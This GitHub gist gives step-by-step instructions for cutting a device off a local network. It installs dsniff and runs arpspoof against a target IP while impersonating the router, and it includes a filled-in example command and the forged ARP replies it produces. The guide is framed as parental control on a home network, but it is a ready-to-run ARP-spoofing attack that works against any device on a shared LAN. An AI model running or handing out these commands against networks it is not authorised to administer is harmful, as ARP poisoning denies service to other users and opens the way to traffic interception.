Skip to content

Instantly share code, notes, and snippets.

@imneonizer
Created September 17, 2020 18:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save imneonizer/7aa02d25f7c80b5ec895cbf3d8eab038 to your computer and use it in GitHub Desktop.
Save imneonizer/7aa02d25f7c80b5ec895cbf3d8eab038 to your computer and use it in GitHub Desktop.

Block people from accessing internet on your network

Install below package

sudo apt-get install dsniff

Find your interface and router's IP address using ifconfig command
if you are on wifi it is usualy wlan0 and for ethernet eth0. Find the IP address of the device you wish to block internet for and fill in place of CHILD_ADRS below.
Do the same for ROUTER_ADRS.

sudo arpspoof -i INTERFACE -t CHILD_ADRS ROUTER_ADRS

Example

sudo arpspoof -i wlp3s0 -t 192.168.0.82 192.168.0.1

28:b2:bd:43:f5:35 be:f4:6d:d7:71:2b 0806 42: arp reply 192.168.0.1 is-at 28:b2:bd:43:f5:35
.
.
.
28:b2:bd:43:f5:35 be:f4:6d:d7:71:2b 0806 42: arp reply 192.168.0.1 is-at 28:b2:bd:43:f5:35


Source

https://community.home-assistant.io/t/cut-internet-temporarily-in-a-device-in-your-lan/20000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment